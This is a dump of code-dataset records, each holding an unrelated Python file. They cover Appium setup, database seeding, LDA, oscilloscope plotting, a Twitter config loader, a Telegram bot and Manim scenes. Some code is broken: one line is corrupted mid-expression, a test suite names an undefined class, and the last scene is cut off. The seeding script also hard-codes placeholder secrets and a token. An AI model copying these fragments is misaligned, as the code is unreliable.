main()\n","sub_path":"2018/code/python/day11.py","file_name":"day11.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"340990095","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom commons import logger\nimport os\n\nimport yaml\nfrom appium import webdriver\n\nlogger = logger.Logger().getLogger()\n\n\ndef appium_desired():\n dirname = os.path.dirname(os.path.dirname(__file__))\n filename = os.path.join(dirname, 'config/kyb_caps.yaml')\n with open(filename, 'r', encoding='utf-8') as file:\n data = yaml.load(file)\n\n base_dir = os.path.dirname(os.path.dirname(__file__))\n app_path = os.path.join(base_dir, 'app', data['appname'])\n desired_caps = {\n \"platformName\": data['platformName'],\n \"platformVersion\": data['platformVersion'],\n\n \"deviceName\": data['deviceName'],\n \"udid\": data['udid'],\n\n \"app\": app_path,\n \"appPackage\": data['appPackage'],\n \"appActivity\": data['appActivity'],\n\n \"automationName\": data['automationName'],\n \"noReset\": data['noReset'],\n\n \"unicodeKeyboard\": data['unicodeKeyboard'],\n \"resetKeyboard\": data['resetKeyboard']\n }\n logger.info('start app......')\n\n driver = webdriver.Remote('http://' + str(data['ip']) + ':' + str(data['port']) + '/wd/hub', desired_caps)\n driver.implicitly_wait(3)\n return driver\n\n\nif __name__ == '__main__':\n appium_desired()\n","sub_path":"commons/desired_caps.py","file_name":"desired_caps.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"615884768","text":"import models\nfrom models import Organisation, User, Role\n\nmodels.drop_talbes()\nmodels.create_tables()\n\norg0 = Organisation(\n name=\"The Royal Society of NewZealand\",\n email=\"nzorcidhub@royalsociety.org.nz\",\n tuakiri_name=\"The Royal Society of NewZealand\",\n orcid_client_id=\"client-123\",\n orcid_secret=\"secret-123\",\n confirmed=True)\norg0.save()\n\nsuper_user = User(\n name=\"The Royal Society of NewZealand\",\n email=\"nzorcidhub@royalsociety.org.nz\",\n edu_person_shared_token=\"aaRtDix1l2z43M0vvWTBpBuf_ek\",\n confirmed=True,\n roles=Role.SUPERUSER)\nsuper_user.save()\n\nsuper_user = User(\n name=\"The Root\",\n email=\"root@mailinator.com\",\n confirmed=True,\n roles=Role.SUPERUSER)\nsuper_user.save()\n","sub_path":"orcidhub-core/initializedb.py","file_name":"initializedb.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"452878630","text":"# import predefined function\nfrom random import randint\n\nvarname = 'Rahul' #can be given at runtime dynamically but, for now defining it fixed.\n\n#define a function which takes the string as variable name\ndef NameGenNum(str):\n print('{} {}'.format(str, randint(6, 15))) #concatinate the string and generated random number\n\n#call the function with a variable name\nNameGenNum(varname)","sub_path":"answer.pseudo.py","file_name":"answer.pseudo.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"167001807","text":"\"\"\"\nSimple implementation of (Fisher's) Linear Discriminant Analysis.\nThanks to: https://www.python-course.eu/linear_discriminant_analysis.php\n\nThe L. D. Matrix is a transformation matrix which best separates\nthe instances of different classes in data projection.\n\"\"\"\nimport numpy as np\n\n\nclass LDA:\n def fit(self, X, y):\n \"\"\"Fit dataset into LDA model.\"\"\"\n self.X = np.array(X)\n self.y = np.array(y)\n\n self.classes, self.cls_freqs = np.unique(y, return_counts=True)\n\n def _scatter_within(self):\n \"\"\"This measure describes how scattered are each class.\"\"\"\n scatter_within = np.array([\n (cls_freq - 1) * np.cov(self.X[self.y == cls, :], rowvar=False)\n for cls, cls_freq in zip(self.classes, self.cls_freqs)\n ]).sum(axis=0)\n\n return scatter_within\n\n def _scatter_between(self):\n \"\"\"This measure describes the separation between different classes.\"\"\"\n class_means = np.array(\n [self.X[self.y == cls, :].mean(axis=0) for cls in self.classes])\n\n total_mean = self.X.mean(axis=0)\n\n scatter_factor = class_means - total_mean\n\n scatter_between = np.array([\n freq * np.outer(sf, sf)\n for freq, sf in zip(self.cls_freqs, scatter_factor)\n ]).sum(axis=0)\n\n return scatter_between\n\n def _get_eig(self, sw, sb):\n \"\"\"Get eigenval/vec from (ScatterWithin)^(-1)*(ScatterBetween) mat.\"\"\"\n sw_inv = np.linalg.inv(sw)\n\n return np.linalg.eig(np.matmul(sw_inv, sb))\n\n def _project(self, eig, num_dim):\n \"\"\"Get the K (``num_dim``) most expressive eigenvalues/vectors.\"\"\"\n eig_vals, eig_vecs = eig\n\n eig_vals, eig_vecs = zip(\n *sorted(\n zip(eig_vals, eig_vecs),\n key=lambda item: item[0],\n reverse=True)[:num_dim])\n\n return eig_vals, eig_vecs\n\n def predict(self, max_dim=2):\n \"\"\"Create transf. matrix which best separates the fitted data proj.\"\"\"\n sw = self._scatter_within()\n sb = self._scatter_between()\n\n max_dim = min(max_dim, self.classes.size-1)\n\n eig = self._get_eig(sw, sb)\n\n eig_vals, eig_vecs = self._project(eig, num_dim=max_dim)\n\n _, num_col = self.X.shape\n\n self.eig_vals = np.array(eig_vals)\n self.transf_mat = np.concatenate(eig_vecs).reshape(num_col, max_dim)\n\n self.transf_mat = self.transf_mat.real\n\n return self.transf_mat\n\n def wilks_lambda(self):\n \"\"\"Compute Wilks' Lambda measure using eigenvalues of L. D. matrix.\"\"\"\n return np.prod(1.0 / (1.0 + self.eig_vals))\n\n def canonical_corr(self):\n \"\"\"Calculate canonical correlation values from L. D. matrix.\"\"\"\n return (self.eig_vals / (1.0 + self.eig_vals))**0.5\n\n\nif __name__ == \"__main__\":\n from sklearn import datasets\n iris = datasets.load_iris()\n\n model = LDA()\n model.fit(iris.data, iris.target)\n ans = model.predict(max_dim=2)\n\n print(\"Transformation Matrix:\", ans, sep=\"\\n\", end=\"\\n\\n\")\n print(\"Eigenvalues of L. D. matrix:\", model.eig_vals, end=\"\\n\\n\")\n print(\"Canonical Correlation:\", model.canonical_corr(), end=\"\\n\\n\")\n print(\"Wilks' Lambda:\", model.wilks_lambda())\n","sub_path":"model-implementation/py-linear-disc-analysis/lda.py","file_name":"lda.py","file_ext":"py","file_size_in_byte":3243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"613704701","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 22 18:33:47 2019\n\n@author: user\n\"\"\"\nimport numpy as np\nimport struct\nimport matplotlib.pyplot as plt #for displaying data\nfrom mpl_toolkits.mplot3d import Axes3D\nimport csv\nimport pandas as pd #to manage dataframe\nimport struct\nfrom math import sqrt\nimport os # file and path operrations\nimport time\nimport sys # get input arguments of the python program\n\n\n\nimport plotly\nimport plotly.graph_objs as go\nfrom plotly.offline import download_plotlyjs, init_notebook_mode, plot, iplot\nfrom plotly.offline.offline import _plot_html\n\nimport glob #listing of files\nimport json\n\ndata_path = r\"../out/*/\"\noutput_path = r\"../temp/\"\npng_resolution_dpi = 300\n\n\ndirectories = glob.glob(data_path)\nic_cycle_order = []\n\n\nsorted_directories = sorted(directories)#sorted( directories, key = lambda directory: os.path.getctime(directory)) #getmtime for modified time\nprint(sorted_directories)\n# # for directory in sorted_directories:\n # # print(directory+'\\n')#print(\"{} - {}\".format(directory, time.ctime(os.path.getctime(directory))) )\n\nchannel = int(sys.argv[1]) \nprint('channel = \\n', channel);\nic_cycle = int(sys.argv[2]) \nprint('ic_cycle = \\n', ic_cycle);\nwb_cycle = int(sys.argv[3])\nprint('wb_cycle = \\n', wb_cycle);\nwb_sub_cycle = int(sys.argv[4])\nprint('wb_sub_cycle = \\n', wb_sub_cycle);\n\ntotal_ic_cycles = len(directories) # may add additional checks to avoid parasite folders added for testing\n# may also check json file to get metadata\n# manage the cases where user inputs exceed the limits ic and wb\n# total_wb_cycles = #get this from json file\n\n\n\nif ic_cycle > (total_ic_cycles - 1) :\n\tic_cycle = total_ic_cycles - 1 # this is to display the last data\n\n# confirm the data exist\n\nstream_filename = sorted_directories[ic_cycle] + \"ch_\" + str(channel) + \"_raw.dat\"\nprint(stream_filename);\n\nresult = sorted_directories[ic_cycle].find('IC_CYCLE') \nif result == -1:\n\tprint('Folder name incorrect \\n')\n\tsys.exit()\n\n\t\nwith open(sorted_directories[ic_cycle]+'cfg.json') as json_file: \n\tdata = json.load(json_file)\n\tsampling_period_ns = data['Oscilloscopes']['Picoscope 4444']['Sampling Period NS']\n\tresolution_bits = data['Oscilloscopes']['Picoscope 4444']['Sample Resolution bits']\n\tvoltage_range_str = data['Oscilloscopes']['Picoscope 4444']['Channels']['Channel '+str(channel)]['Voltage Range']\n\ttotal_samples_per_waveform = data['Oscilloscopes']['Picoscope 4444']['Channels']['Channel '+str(channel)]['Waveform Number of Samples']\t\n\twaveforms_per_wb_cycle = data['Oscilloscopes']['Picoscope 4444']['Channels']['Channel '+str(channel)]['Waveforms per WB Cycle']\t\n\t\n\trange_val, range_unit = voltage_range_str.split()\n\trange_val_mv = 0\n\tif range_unit == 'V':\n\t\trange_val_mv = 1000 * int(range_val)\n\telse:\n\t\trange_val_mv = int(range_val)\n\tprint ('range_mv =', range_val_mv)\t\t\t\n\t\n\t\nwith open(sorted_directories[ic_cycle]+'stat.json') as json_file: \n\tdata = json.load(json_file)\n\tcaptured_waveforms = data['Oscilloscopes']['Picoscope 4444']['Channels']['Channel '+str(channel)]['Waveforms found']\n\t\n\n\n\n# get the following data from json\nwb_cycle_total_samples = waveforms_per_wb_cycle * total_samples_per_waveform\ni = 0\nsample_offset = wb_cycle * wb_cycle_total_samples + wb_sub_cycle * total_samples_per_waveform\n\n\n\n\t\n\nexists = os.path.isfile(stream_filename)\nif exists:\n\t# Store configuration file values\n\ttest = 0\nelse:\n\t# Keep presets\n\tprint('ch1 file doesn t exist \\n')\n\tsys.exit()\n\nfp_stream = open(stream_filename, \"rb\")\nfp_stream.seek(sample_offset * 2)\nstream1 = np.fromfile(fp_stream, dtype=([('channel', 'maxADCValue;\ndata = np.float64(stream1['channel'])\ndata = data * range_val_mv / 32768\n\n\n\n\n# # Create a trace\ntrace = go.Scatter(\n y = stream1['channel']\n)\nlayout = go.Layout(\n margin=dict(\n l=0,\n r=0,\n b=0,\n t=0,\n\t\tpad=4\n ),\n paper_bgcolor='#7f7f7f',\n plot_bgcolor='#c7c7c7'\t\n)\nfig = plt.figure()\nfig = go.Figure(data=[trace], layout=layout)\nplotly.offline.plot(fig, filename= output_path + 'ch_' + str(channel) + \".html\", auto_open=False)\n\n\n","sub_path":"prg/picoscope_4444/python/process_raw_html.py","file_name":"process_raw_html.py","file_ext":"py","file_size_in_byte":4168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"451255657","text":"# -*- coding: utf-8 -*-\nimport unittest\n\nfrom openregistry.assets.core.tests.base import MigrationResourcesDTO_mock\nfrom openregistry.assets.bounce.tests.base import (\n BaseAssetWebTest,\n get_snapshot,\n)\nfrom openregistry.assets.bounce.migration import (\n AddRelatedProcessesStep,\n BounceMigrationsRunner,\n)\nfrom openregistry.assets.bounce.tests.json_data import test_asset_bounce_data_schema_0\n\n\nclass AddRelatedProcessesMigrationStepTest(BaseAssetWebTest):\n\n def setUp(self):\n super(AddRelatedProcessesMigrationStepTest, self).setUp()\n self.initial_data = test_asset_bounce_data_schema_0\n\n asset_data = get_snapshot('bounce_migration_1.json')\n # create relatedLot\n lot_data = {'lotID': 'id' * 16}\n self.lot_id = self.db.save(lot_data)[0]\n # connect asset to the lot\n asset_data['relatedLot'] = self.lot_id\n self.asset_id = self.db.save(asset_data)[0]\n aliases_info = {'openregistry.assets.bounce': ('bounce', )}\n migration_resources = MigrationResourcesDTO_mock(self.db, aliases_info)\n self.runner = BounceMigrationsRunner(migration_resources)\n\n def test_ok(self):\n \"\"\"General migration test\"\"\"\n steps = (AddRelatedProcessesStep,)\n self.runner.migrate(steps, schema_version_max=1)\n\n asset_doc = self.db[self.asset_id]\n self.assertIn('relatedProcesses', asset_doc.keys())\n self.assertNotIn('relatedLot', asset_doc.keys())\n self.assertEqual(self.lot_id, asset_doc['relatedProcesses'][0]['relatedProcessID'])\n\n def test_status_without_related_lot(self):\n \"\"\"\n Only certain statuses could have the `relatedLot` attribute\n\n So there is a need to test that skip predicate works correctly with them.\n \"\"\"\n # set lot status to that one, that have not relatedLot\n TARGET_STATUS = 'draft'\n\n asset_doc = self.db[self.asset_id]\n asset_doc['status'] = TARGET_STATUS\n self.db.save(asset_doc)\n\n steps = (AddRelatedProcessesStep, )\n self.runner.migrate(steps, schema_version_max=1)\n\n\ndef suite():\n tests = unittest.TestSuite()\n tests.addTest(unittest.makeSuite(Migration0to1Test))\n return tests\n\n\nif __name__ == '__main__':\n unittest.main(defaultTest='suite')\n","sub_path":"openregistry/assets/bounce/tests/migration.py","file_name":"migration.py","file_ext":"py","file_size_in_byte":2289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"318862926","text":"#! /usr/bin/env python\n#$ -S /home/masaki/programs/anaconda/envs/research/bin/python\n#$ -cwd\n\nimport os\nimport matplotlib.pyplot as plt\nfrom matplotlib import font_manager as fm\nimport numpy as np\nimport utils\n\ndef main():\n (curr_wk_dir, asset_dir, program_dir, conda_program_dir) = utils.getDirs()\n utils.initMpl()\n input_file = asset_dir + '/func_ncrnas.fa'\n ncrna_types = getNcrnaTypeRatio(input_file)\n print(ncrna_types)\n plt.axis('equal')\n (fig, ax) = plt.subplots()\n legend = ncrna_types.keys()\n colors = ['aqua', 'yellowgreen', 'gold', 'lightskyblue', 'lightcoral', 'magenta']\n radius = 1.0\n (patches, texts, autotexts) = ax.pie(ncrna_types.values(), colors = colors, autopct = '%1.1f%%', shadow = False, startangle = 90, radius = radius, pctdistance = radius * 1.15)\n ax.set_aspect('equal')\n ax.legend(patches, legend, loc = 2)\n # ax.set_title('Ratio of ncRNAs of type')\n proptease = fm.FontProperties()\n proptease.set_size('x-large')\n plt.setp(autotexts, fontproperties = proptease)\n # plt.show()\n fig.savefig(asset_dir + '/images/func_ncrna_stats.eps', bbox_inches = 'tight')\n \ndef getNcrnaTypeRatio(file): \n input_handle = open(file, 'rU')\n lines = input_handle.readlines()\n input_handle.close()\n ncrna_types = {}\n for line in lines: \n if not line.startswith('>'): \n continue\n rna_str_pos = line.find('RNA')\n ncrna_type = 'pseudogene' if rna_str_pos == -1 else line[3 : rna_str_pos].lower() + line[rna_str_pos : rna_str_pos + 3]\n if ncrna_type.find('tRNA') != -1: \n ncrna_type = 'tRNA'\n try: \n ncrna_types[ncrna_type] += 1\n except: \n ncrna_types[ncrna_type] = 1 \n return ncrna_types\n\nif __name__ == '__main__':\n main()\n","sub_path":"src/get_func_ncrna_stats.py","file_name":"get_func_ncrna_stats.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"596920294","text":"import json\nimport tweepy\nfrom tweepy import OAuthHandler\n\nclass _Twitter(type):\n\tdef __call__(cls, *args, **kwargs):\n\t\tif not hasattr(cls, 'instance'):\n\t\t\tcls.instance = super(_Twitter, cls).__call__(*args, **kwargs)\n\t\treturn cls.instance\n\nclass Twitter(object, metaclass=_Twitter):\n\tdef __init__(self):\n\t\tself.consumer_key = ''\n\t\tself.consumer_secret = ''\n\t\tself.access_key = ''\n\t\tself.access_secret = ''\n\t\tself.session = None\n\t\tself.api = None\n\t\tself.maxPage = 0\n\t\tself.maxCount = 0\n\n\tdef loadConfig(self):\n\t\twith open(\"config.json\") as data:\n\t\t\tconf = json.load(data)\n\t\t\tself.consumer_key = conf['consumer_key']\n\t\t\tself.consumer_secret = conf['consumer_secret']\n\t\t\tself.access_key = conf['access_key']\n\t\t\tself.access_secret = conf['access_secret']\n\t\t\tself.maxCount = int(conf['maxCount'])\n\t\t\tself.maxPage = int(conf['maxPage'])\n\t\treturn self\n\n\tdef auth(self):\n\t\tif self.session is None:\n\t\t\tself.session = OAuthHandler(self.consumer_key, self.consumer_secret)\n\t\t\tself.session.set_access_token(self.access_key, self.access_secret)\n\t\t\tself.api = tweepy.API(self.session, wait_on_rate_limit=True, wait_on_rate_limit_notify=True, compression=True)\n\t\treturn self\n\n\tdef getAPI(self):\n\t\treturn self.api\n\n\tdef getMaxCount(self):\n\t\treturn self.maxCount\n\n\tdef getMaxPage(self):\n\t\treturn self.maxPage\n\n\nAPI = Twitter().loadConfig().auth().getAPI()\nMaxCount = Twitter().getMaxCount()\nMaxPage = Twitter().getMaxPage()","sub_path":"TwitterScraper/Twitter/Twitter.py","file_name":"Twitter.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"291454234","text":"import os\nimport time\n\nfrom telegram import Update\nfrom telegram.ext import Updater, CommandHandler\n\nfrom data.copart import Copart\nfrom data.utils import EditThread\n\n\ndef search(update: Update, context):\n default_args = [*([0, float('inf')] * 2)]\n names = ['year_from', 'year_to', 'price_from', 'price_to']\n try:\n filters = {names[i]: int(context.args[i]) if i < len(context.args) and context.args[i] != '-1'\n else default_args[i] for i in range(len(default_args))}\n except ValueError:\n return update.message.reply_text('Все аргументы должны быть целочисленными!')\n message = update.message.reply_text('Начинаем поиск...')\n edit_thread = EditThread(message)\n edit_thread.start()\n start_time = time.time()\n copart = Copart()\n output = copart.get_data(filters)\n edit_thread.stop()\n update.message.reply_text(f'Найдено {len(output)} автомобилей.\\n'\n f'Время поиска: {time.time() - start_time:.2f} секунд')\n for car in output:\n update.message.reply_text(car['ld'])\n\n\ndef start(update, _):\n update.message.reply_text('Привет! Это бот-парсер американских автобирж. '\n 'Введите /search {year_from} {year_to} {price_from} {price_to} '\n 'для поиска авто')\n\n\ndef main():\n updater = Updater(os.getenv('tg_token'))\n updater.dispatcher.add_handler(CommandHandler('start', start))\n updater.dispatcher.add_handler(CommandHandler('search', search, pass_args=True))\n updater.start_polling()\n updater.idle()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"parsing/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"262417305","text":"from random import randint\n\ncards = {1 : \"Ace of Hearts\",\n 2 : \"Two of Hearts\",\n 3 : \"Three of Hearts\",\n 4 : \"Four of Hearts\",\n 5 : \"Five of Hearts\",\n 6 : \"Six of Hearts\",\n 7 : \"Seven of Hearts\",\n 8 : \"Eight of Hearts\",\n 9 : \"Nine of Hearts\",\n 10 : \"Ten of Hearts\",\n 11 : \"Jack of Hearts\",\n 12 : \"Queen of Hearts\",\n 13 : \"King of Hearts\",\n 14 : \"Ace of Diamonds\",\n 15 : \"Two of Diamonds\",\n 16 : \"Three of Diamonds\",\n 17 : \"Four of Diamonds\",\n 18 : \"Five of Diamonds\",\n 19 : \"Six of Diamonds\",\n 20 : \"Seven of Diamonds\",\n 21 : \"Eight of Diamonds\",\n 22 : \"Nine of Diamonds\",\n 23 : \"Ten of Diamonds\",\n 24 : \"Jack of Diamonds\",\n 25 : \"Queen of Diamonds\",\n 26 : \"King of Diamonds\",\n 27 : \"Ace of Clubs\",\n 28 : \"Two of Clubs\",\n 29 : \"Three of Clubs\",\n 30 : \"Four of Clubs\",\n 31 : \"Five of Clubs\",\n 32 : \"Six of Clubs\",\n 33 : \"Seven of Clubs\",\n 34 : \"Eight of Clubs\",\n 35 : \"Nine of Clubs\",\n 36 : \"Ten of Clubs\",\n 37 : \"Jack of Clubs\",\n 38 : \"Queen of Clubs\",\n 39 : \"King of Clubs\",\n 40 : \"Ace of Spades\",\n 41 : \"Two of Spades\",\n 42 : \"Three of Spades\",\n 43 : \"Four of Spades\",\n 44 : \"Five of Spades\",\n 45 : \"Six of Spades\",\n 46 : \"Seven of Spades\",\n 47 : \"Eight of Spades\",\n 48 : \"Nine of Spades\",\n 49 : \"Ten of Spades\",\n 50 : \"Jack of Spades\",\n 51 : \"Queen of Spades\",\n 52 : \"King of Spades\"\n}\n\ndef five_card_draw(card):\n already_drawn = []\n first_card = randint(1, 52)\n already_drawn.append(first_card)\n second_card = randint(1,52)\n \n while second_card in already_drawn:\n second_card = randint(1,52)\n already_drawn.append(second_card)\n third_card = randint(1, 52)\n \n while third_card in already_drawn:\n third_card = randint(1, 52)\n already_drawn.append(third_card)\n fourth_card = randint(1, 52)\n \n while fourth_card in already_drawn:\n fourth_card = randint(1, 52)\n already_drawn.append(fourth_card)\n fifth_card = randint(1, 52)\n \n while fifth_card in already_drawn:\n fifth_card = randint(1, 52)\n already_drawn.append(fifth_card)\n return already_drawn\n\nyour_hand = five_card_draw(cards)\n\nfor i in your_hand:\n print(cards[i])\n","sub_path":"fiveCardDraw-Copy1.py","file_name":"fiveCardDraw-Copy1.py","file_ext":"py","file_size_in_byte":2461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"413518482","text":"from .models import User\nfrom django import forms\n\nclass UserForm(forms.ModelForm):\n class Meta:\n # specify model to be used\n model = User\n\n # specify fields to be used\n fields = [\n \"first_name\",\n \"second_name\",\n ]","sub_path":"students/y2333/practical_works/Gordienko_Maxim/Practice 2/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"506242001","text":"\"\"\"\nWSGI Apps\nDefine your flask applications here to mount them to root urls.\n\"\"\"\napps = dict(default_app='backend', apps={})\n\n# frontend app\napps['apps']['backend'] = dict(\n module='project.backend',\n base_url='/'\n)","sub_path":"boiler/boiler_template/config/apps.py","file_name":"apps.py","file_ext":"py","file_size_in_byte":222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"290058908","text":"from django.urls import path\nfrom customers.views import (\n\tcustomer_create_view, \n\tcustomer_detail_view, \n\tcustomer_delete_view, \n\tcustomer_list_view,\n\tcustomer_update_view,\n\n)\n\napp_name = 'customers'\nurlpatterns = [\n path('create/', customer_create_view),\n path('/', customer_detail_view, name='customer-detail'),\n path('/update', customer_update_view, name='customer-update'),\n path('/delete', customer_delete_view, name='customer-delete'),\n path('', customer_list_view, name='customer-list'),\n\n]\n","sub_path":"src/customers/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"379636459","text":"from manimlib import *\r\n\r\nclass d123(ThreeDScene):\r\n def construct(self):\r\n dotA = Dot(3*LEFT+2*UP)\r\n dotB = Dot(3*LEFT+2*UP)\r\n dotC = Dot(3*LEFT+2*UP)\r\n numberl = NumberLine(x_range=np.array([0,7,1]), unit_size=1,include_numbers=False,\r\n include_tip=True, line_to_number_direction=DOWN,numbers_to_exclude=[8])\r\n self.play(ShowCreation(numberl))\r\n numberp = NumberPlane(x_range=np.array([0,7,1]),y_range=np.array([0,7,1]), unit_size=1,include_numbers=False,\r\n include_tip=True, line_to_number_direction=DOWN,numbers_to_exclude=[8])\r\n self.play(ShowCreation(numberp))\r\n numberz = ThreeDAxes()\r\n self.play(ShowCreation(numberz))\r\n # self.play(numberl.copy().rotate,90*DEGREES)\r\n line = Line(ORIGIN+1.5*LEFT+1.5*DOWN,1.5*RIGHT+1.5*DOWN)\r\n square = Square(side_length = 3)\r\n cube = Cube(side_length = 3)\r\n line.set_color(color = BLUE)\r\n square.set_color(color = BLUE)\r\n \r\n \r\n cube.move_to([0,0,-1.5])\r\n\r\n brace_line = Brace(line,DOWN)\r\n brace_line.set_color(color = BLACK)\r\n brace_sq1 = Brace(square,RIGHT)\r\n brace_sq1.set_color(color = BLACK)\r\n brace_cube = Brace(cube,LEFT)\r\n brace_cube.set_color(color = BLACK)\r\n d1 = Tex(\"1D\")\r\n d2 = Tex(\"2D\")\r\n d3 = Tex(\"3D\")\r\n d1.to_edge(UP)\r\n d2.to_edge(UP)\r\n d3.to_edge(UP)\r\n self.play(ShowCreation(line))\r\n self.play(ShowCreation(brace_line))\r\n self.play(Write(d1))\r\n self.wait()\r\n self.play(ShowCreation(square))\r\n self.play(ShowCreation(brace_sq1))\r\n self.play(ReplacementTransform(d1,d2))\r\n self.wait()\r\n self.play(ShowCreation(cube))\r\n self.play(ReplacementTransform(d2,d3))\r\n\r\n frame = self.camera.frame\r\n self.play(frame.animate.increment_phi(70 * DEGREES),\r\n frame.animate.increment_gamma(130 * DEGREES),\r\n frame.animate.increment_theta(-30 * DEGREES))\r\n # frame.set_euler_angles(\r\n # theta=-30 * DEGREES,\r\n # phi=70 * DEGREES,\r\n # )\r\n self.wait(3)\r\n\r\n\r\nclass space_slide3(Scene):\r\n def construct(self):\r\n tda = ThreeDAxes()\r\n cub = Cube()\r\n cub.scale(0.5)\r\n cub.move_to(ORIGIN)\r\n frame = self.camera.frame\r\n self.play(frame.animate.increment_phi(70 * DEGREES),\r\n frame.animate.increment_gamma(130 * DEGREES),\r\n frame.animate.increment_theta(-30 * DEGREES))\r\n frame.set_euler_angles(\r\n theta=-30 * DEGREES,\r\n phi=70 * DEGREES,\r\n )\r\n self.play(ShowCreation(tda))\r\n self.play(ShowCreation(cub))\r\n self.play(cub.shift,3*UP)\r\n self.play(cub.shift,-3*UP)\r\n self.play(cub.shift,3*IN)\r\n self.play(cub.shift,-3*IN)\r\n self.play(cub.shift,3*RIGHT)\r\n self.play(cub.shift,-3*RIGHT)\r\n self.play(cub.move_to,3*RIGHT+2*UP+2*OUT)\r\n self.play(cub.move_to,-3*RIGHT-2*UP+2*OUT)\r\n self.play(cub.move_to,3*RIGHT+2*UP-2*OUT)\r\n self.wait(3)\r\n\r\n\r\nclass space_slide4(Scene):\r\n def construct(self):\r\n numberl = NumberLine(x_range=np.array([0,12,1]), unit_size=1,\r\n include_numbers=True,include_tip=True, line_to_number_direction=DOWN,numbers_to_exclude=[12])\r\n numberl.shift(2*DOWN)\r\n self.play(ShowCreation(numberl))\r\n w = 6\r\n h = 3.5\r\n \r\n paralelogram = Polygon(\r\n ORIGIN, w*RIGHT,w*RIGHT+h*UP+2*RIGHT,h*UP+2*RIGHT,\r\n width = width_stroke,stroke_color = color_stroke,\r\n fill_color = color_fill,\r\n fill_opacity = opacity_fill\r\n )\r\n paralelogram.move_to(ORIGIN)\r\n self.play(ShowCreation(paralelogram))\r\n self.wait(3)\r\n\r\n\r\n\r\nclass space_slide5(Scene):\r\n def construct(self):\r\n A = 3.5\r\n dotA = Dot(A*RIGHT)\r\n numberl = NumberLine(x_range=np.array([0,7,1]), unit_size=1,include_numbers=False,\r\n include_tip=True, line_to_number_direction=DOWN,numbers_to_exclude=[8])\r\n self.play(ShowCreation(numberl))\r\n self.play(ShowCreation(dotA))\r\n self.play(dotA.move_to,5*RIGHT)\r\n gd = VGroup(dotA,numberl)\r\n self.remove(gd)\r\n axes = Axes(\r\n \r\n x_range=(-1, 10),\r\n \r\n y_range=(-2, 2, 0.5),\r\n \r\n height=6,\r\n width=10,\r\n \r\n axis_config={\r\n \"stroke_color\": GREY_A,\r\n \"stroke_width\": 2,\r\n },\r\n \r\n y_axis_config={\r\n \"include_tip\": False,\r\n }\r\n )\r\n \r\n axes.add_coordinate_labels(\r\n font_size=20,\r\n num_decimal_places=1,\r\n )\r\n self.add(axes)\r\n\r\n \r\n dot = Dot(color=RED)\r\n dot.move_to(axes.c2p(0, 0))\r\n self.play(FadeIn(dot, scale=0.5))\r\n self.play(dot.animate.move_to(axes.c2p(3, 2)))\r\n self.wait()\r\n self.play(dot.animate.move_to(axes.c2p(5, 0.5)))\r\n self.wait()\r\n\r\n \r\n h_line = always_redraw(lambda: axes.get_h_line(dot.get_left()))\r\n v_line = always_redraw(lambda: axes.get_v_line(dot.get_bottom()))\r\n\r\n self.play(\r\n ShowCreation(h_line),\r\n ShowCreation(v_line),\r\n )\r\n self.play(dot.animate.move_to(axes.c2p(3, -2)))\r\n self.wait()\r\n self.play(dot.animate.move_to(axes.c2p(1, 1)))\r\n self.wait()\r\n\r\n \r\n f_always(dot.move_to, lambda: axes.c2p(1, 1))\r\n self.play(\r\n axes.animate.scale(0.75),\r\n axes.animate.to_corner(UL),\r\n run_time=2,\r\n )\r\n self.wait()\r\n self.play(FadeOut(VGroup(axes, dot, h_line, v_line)))\r\n\r\n\r\n\r\nclass space_slide6(Scene):\r\n def construct(self):\r\n numberl = NumberLine(x_range=np.array([-7,7,1]), unit_size=1,\r\n include_numbers=True,include_tip=True, line_to_number_direction=DOWN,numbers_to_exclude=[8])\r\n \r\n self.play(ShowCreation(numberl))\r\n line1 = Line(ORIGIN,2*RIGHT)\r\n brace1 = Brace(line1,UP)\r\n self.play(ShowCreation(brace1))\r\n self.wait()\r\n self.play(FadeOut(brace1))\r\n line1 = Line(ORIGIN,5*RIGHT)\r\n brace1 = Brace(line1,UP)\r\n self.play(ShowCreation(brace1))\r\n self.wait()\r\n self.play(FadeOut(brace1))\r\n line1 = Line(ORIGIN,-4*RIGHT)\r\n brace1 = Brace(line1,UP)\r\n self.play(ShowCreation(brace1))\r\n self.play(FadeOut(brace1))\r\n self.wait(3)\r\n\r\nclass space_slide7(Scene):\r\n def construct(self):\r\n A = 3*UP+2*LEFT\r\n B = 2*UP+0*RIGHT\r\n C = -2*UP+2*RIGHT\r\n D = -3*UP-2*RIGHT\r\n E = 0*UP-4*RIGHT\r\n lineAB = Line(A,B)\r\n lineBC = Line(B,C)\r\n lineCD = Line(C,D)\r\n lineDE = 